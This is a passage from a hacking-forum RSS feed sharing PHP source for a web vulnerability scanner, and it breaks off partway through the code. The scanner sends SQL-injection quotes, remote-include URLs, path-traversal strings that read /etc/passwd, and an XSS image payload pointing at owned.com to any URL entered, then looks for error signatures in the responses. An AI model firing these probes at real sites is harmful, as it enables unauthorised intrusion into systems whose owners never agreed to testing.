<span style="color: #FFD700;"><span style="font-weight: bold;">Disclaimer:</span></span> <span style="font-style: italic;">This CLI Program is intended to be used for EDUCATIONAL PURPOSES ONLY!!</span><br />
<br />
Have Fun and Please if you have a suggestion do post it.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official]Vulnerability Scanner]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Vulnerability-Scanner</link>
			<pubDate>Sun, 10 Mar 2013 06:27:45 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Vulnerability-Scanner</guid>
			<description><![CDATA[Here is the original thread : <a href="http://www.hackcommunity.com/Thread-Vulnerability-Scanner-By-The-Alchemist" target="_blank">http://www.hackcommunity.com/Thread-Vuln...-Alchemist</a><br />
Lots of members liked this tool so, <span style="color: #FF0000;"><span style="font-weight: bold;">bluedog.tar.gz</span></span> told me to make this HC Official. So, I modified the design just a bit so that it looks like a HC Official.<br />
I'd like to thank my friend ande again for helping me out with this.<br />
<br />
Here is a screenshot :<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><img src="http://i6.minus.com/i7ry9bOtyRLfP.png" border="0" alt="[Image: i7ry9bOtyRLfP.png]" /></div></div>Here is the code :<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:<br />
</div><div class="body"><div dir="ltr"><code><span style="color: white;">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;set_time_limit</span><span style="color: red;">(</span><span style="color: white;">0</span><span style="color: red;">);<br /></span><span style="color: white;">?&gt;<br /></span>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;"-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN"&nbsp;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />&lt;html&nbsp;xmlns="http://www.w3.org/1999/xhtml"&gt;<br />&lt;head&gt;<br />&nbsp;&nbsp;&nbsp;&lt;title&gt;Vulnerability&nbsp;Scanner&lt;/title&gt;<br />&nbsp;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&lt;style&nbsp;type="text/css"&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;body<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#ffffff;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text-shadow:&nbsp;2px&nbsp;2px&nbsp;#000000;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#282828;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-family:&nbsp;Arial,&nbsp;Helvetica,&nbsp;sans-serif;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pre<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#353535;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;1px&nbsp;#505050;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-family:&nbsp;Arial,&nbsp;Helvetica,&nbsp;sans-serif;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;5px&nbsp;10px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background:&nbsp;#303030;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;#101010&nbsp;1px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#fff;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cursor:&nbsp;pointer;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-weight:&nbsp;bold;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-moz-border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-webkit-border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text-shadow:&nbsp;1px&nbsp;1px&nbsp;#000;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Input<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;#101010&nbsp;1px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;white;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-weight:&nbsp;bold;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;3px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#252525;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/style&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;div&nbsp;align="center"&gt;<br />&lt;pre&gt;<br />&nbsp;&nbsp;___&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&#092;_____&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;|&nbsp;&nbsp;|&nbsp;__&nbsp;&#092;_&nbsp;&nbsp;&nbsp;___&nbsp;&#092;&nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;_____&nbsp;&nbsp;&nbsp;_____&nbsp;&nbsp;__&nbsp;__&nbsp;&nbsp;____&nbsp;|__|/&nbsp;&nbsp;|_&nbsp;___.__.<br />/&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;&#092;__&nbsp;&nbsp;&#092;&nbsp;_/&nbsp;___&#092;|&nbsp;&nbsp;|/&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&#092;&nbsp;&nbsp;&#092;/&nbsp;/&nbsp;&nbsp;_&nbsp;&#092;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;|&nbsp;&nbsp;|&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&#092;|&nbsp;&nbsp;&#092;&nbsp;&nbsp;&nbsp;__&lt;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|<br />&#092;&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;__&nbsp;&#092;&#092;&nbsp;&nbsp;&#092;___|&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&#092;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;___(&nbsp;&nbsp;&lt;_&gt;&nbsp;)&nbsp;&nbsp;Y&nbsp;Y&nbsp;&nbsp;&#092;&nbsp;&nbsp;Y&nbsp;Y&nbsp;&nbsp;&#092;&nbsp;&nbsp;|&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&#092;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;&#092;___&nbsp;&nbsp;|<br />&nbsp;&#092;___|_&nbsp;&nbsp;/(____&nbsp;&nbsp;/&#092;___&nbsp;&nbsp;&gt;__|_&nbsp;&#092;&nbsp;&nbsp;&#092;______&nbsp;&nbsp;/&#092;____/|__|_|&nbsp;&nbsp;/__|_|&nbsp;&nbsp;/____/|___|&nbsp;&nbsp;/__||__|&nbsp;&nbsp;/&nbsp;____|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />Vulnerability&nbsp;Scanner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Coded&nbsp;By&nbsp;The&nbsp;Alchemist&lt;/pre&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;form&nbsp;method="POST"&nbsp;action=""&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enter&nbsp;URL&nbsp;:&nbsp;&lt;input&nbsp;type="text"&nbsp;name="url"&nbsp;value="<span style="color: white;">&lt;?php&nbsp;</span><span style="color: red;">if(isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">])){echo(</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">]));}</span><span style="color: white;">?&gt;</span>"&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;placeholder="http://example.com/index.php?id=1"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size="75"&nbsp;class="Input"&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="submit"&nbsp;name="submit"&nbsp;value="Scan"&nbsp;class="Button"&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;br&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: white;">&lt;?php<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: orange;">##Coded&nbsp;by&nbsp;The&nbsp;Alchemist<br />&nbsp;&nbsp;&nbsp;&nbsp;##Thanks&nbsp;again&nbsp;ande<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">class&nbsp;</span><span style="color: white;">Vulnscanner<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;sql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"'"</span><span style="color: red;">,</span><span style="color: pink;">'"'</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;rfi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"http://www.facebook.com"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;lfi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../../../etc/passwd"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;xss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"'&#092;"/&gt;&lt;img&nbsp;src=&#092;"http://owned.com&#092;"/&gt;"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;sqlerrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"mysql_"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"You&nbsp;have&nbsp;an&nbsp;error&nbsp;in&nbsp;your&nbsp;SQL&nbsp;syntax"</span><span style="color: red;">,&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"SQL&nbsp;Error"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"Database&nbsp;Error"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"supplied&nbsp;argument&nbsp;is&nbsp;not&nbsp;a&nbsp;valid&nbsp;MySQL&nbsp;result&nbsp;resource"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;rfierrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"Welcome&nbsp;to&nbsp;Facebook&nbsp;-&nbsp;Log&nbsp;In,&nbsp;Sign&nbsp;Up&nbsp;or&nbsp;Learn&nbsp;More"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"failed&nbsp;to&nbsp;open&nbsp;stream:&nbsp;No&nbsp;such&nbsp;file&nbsp;or&nbsp;directory"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;lfierrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"root:x:0:0:root:"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"failed&nbsp;to&nbsp;open&nbsp;stream:&nbsp;No&nbsp;such&nbsp;file&nbsp;or&nbsp;directory"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;xsserrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"&lt;img&nbsp;src=&#092;"http://owned.com&#092;"/&gt;"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isvalid</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">filter_var</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">FILTER_VALIDATE_URL</span><span style="color: red;">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: white;">strstr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">"="</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">true</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">false</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: white;">getcontents</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;agent</span><span style="color: red;">=&nbsp;</span><span style="color: pink;">'Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;6.1;&nbsp;WOW64;&nbsp;rv:17.0)&nbsp;Gecko/20100101&nbsp;Firefox/17.0'</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;ch&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">curl_init</span><span style="color: red;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_SSL_VERIFYPEER</span><span style="color: red;">,&nbsp;</span><span style="color: white;">false</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_VERBOSE</span><span style="color: red;">,&nbsp;</span><span style="color: white;">true</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_RETURNTRANSFER</span><span style="color: red;">,&nbsp;</span><span style="color: white;">true</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_USERAGENT</span><span style="color: red;">,&nbsp;</span><span style="color: white;">&#36;agent</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_URL</span><span style="color: red;">,</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;result</span><span style="color: red;">=</span><span style="color: white;">curl_exec</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">&#36;result</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;url</span><span style="color: red;">,</span><span style="color: white;">&#36;addtourl</span><span style="color: red;">,</span><span style="color: white;">&#36;errorar</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: white;">&#36;addtourl&nbsp;</span><span style="color: red;">as&nbsp;</span><span style="color: white;">&#36;val</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;url</span><span style="color: red;">.</span><span style="color: white;">&#36;val</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;contents&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">getcontents</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: white;">&#36;errorar&nbsp;</span><span style="color: red;">as&nbsp;</span><span style="color: white;">&#36;err</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">strstr</span><span style="color: red;">(</span><span style="color: white;">&#36;contents</span><span style="color: red;">,&nbsp;</span><span style="color: white;">&#36;err</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">true</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">false</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">issqlvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span 